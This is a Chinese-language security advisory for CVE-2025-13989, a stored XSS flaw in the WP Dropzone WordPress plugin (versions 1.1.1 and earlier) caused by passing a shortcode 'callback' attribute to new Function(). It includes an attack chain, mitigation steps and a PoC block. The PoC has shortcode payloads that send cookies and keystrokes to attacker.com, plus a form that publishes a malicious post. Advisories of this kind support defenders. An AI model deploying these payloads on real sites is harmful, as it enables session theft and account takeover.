IPBUF安全漏洞报告
English
CVE-2025-13989 CVSS 6.4 中危

CVE-2025-13989 WordPress WP Dropzone插件存储型XSS漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13989
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP Dropzone plugin for WordPress

相关标签

CVE-2025-13989存储型XSSWordPress插件漏洞WP Dropzone短代码注入new Function()注入WordPress安全Cross-Site Scripting

漏洞概述

WP Dropzone是WordPress平台上一个用于文件上传的插件。该插件在1.1.1及之前的所有版本中存在严重的存储型跨站脚本(Stored XSS)漏洞。漏洞根源在于插件对用户提供的'callback'短代码属性缺乏足够的输入清理和输出转义。攻击者可以通过在短代码中注入恶意的JavaScript代码,这些代码会被存储在数据库中,并在其他用户访问包含该短代码的页面时执行。由于该插件使用`new Function()`构造函数直接执行callback属性值,攻击者可以借此在受害者浏览器中执行任意JavaScript代码,从而窃取会话cookie、劫持用户账户或进行其他恶意操作。攻击者需要具有Contributor级别或更高的权限即可利用此漏洞。

技术细节

漏洞存在于WP Dropzone插件的文件处理逻辑中。具体来说,插件在处理shortcode时,会将用户提供的'callback'参数传递给JavaScript的`new Function()`构造函数来动态创建并执行函数。在class-plugin.php的第303行和wp-dropzone.js的第86行,callback参数被直接使用而没有进行任何过滤或转义。攻击者可以通过以下方式利用:1) 在页面或文章的短代码中注入恶意payload,如[wp-dropzone callback='alert(document.cookie)'];2) 由于这是存储型XSS,payload会被永久保存在数据库中;3) 当任何用户访问该页面时,恶意JavaScript代码会在其浏览器上下文中执行。攻击者可以利用此漏洞窃取认证令牌、执行任意操作或重定向用户到恶意网站。CVSS 3.1评分6.4(Medium),攻击向量为网络,无需特殊权限要求(Contributor+),但需要认证。

攻击链分析

STEP 1
步骤1
攻击者以Contributor或更高权限用户身份登录WordPress后台
STEP 2
步骤2
攻击者创建或编辑文章/页面,插入包含恶意callback参数的WP Dropzone短代码
STEP 3
步骤3
短代码中的恶意JavaScript代码(如alert()、fetch()等)被保存到数据库中
STEP 4
步骤4
当普通用户访问包含该短代码的页面时,插件的JavaScript代码会使用new Function()执行callback参数
STEP 5
步骤5
恶意JavaScript代码在受害者浏览器中执行,可窃取Cookie、劫持会话或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// WordPress WP Dropzone Plugin XSS PoC // CVE-2025-2025-13989 // PoC 1: Basic XSS via shortcode [wp-dropzone callback='alert("XSS")'] // PoC 2: Cookie stealing [wp-dropzone callback='fetch("https://attacker.com/steal?c="+document.cookie)'] // PoC 3: Session hijacking [wp-dropzone callback='document.location="https://attacker.com/phishing?"+btoa(document.cookie)'] // PoC 4: Keylogger [wp-dropzone callback='document.onkeypress=function(e){fetch("https://attacker.com/log?k="+e.key)}'] // PoC 5: DOM manipulation [wp-dropzone callback='document.body.innerHTML="<h1>Compromised</h1>"'] // HTML form PoC for injecting malicious shortcode: /* <form method="post" action="https://target-site.com/wp-admin/post.php"> <input type="hidden" name="post_title" value="Malicious Post"> <input type="hidden" name="content" value="[wp-dropzone callback='fetch("https://attacker.com/steal?c="+document.cookie)']"> <input type="hidden" name="post_status" value="publish"> <input type="hidden" name="action" value="editpost"> <button type="submit">Create Post</button> </form> */

影响范围

WP Dropzone plugin <= 1.1.1

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用WP Dropzone插件;2) 使用WordPress安全插件(如Wordfence)添加额外的XSS防护规则;3) 限制用户角色权限,禁止低权限用户创建或编辑包含短代码的内容;4) 实施严格的CSP策略来阻止内联脚本执行;5) 监控日志以检测异常的短代码使用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表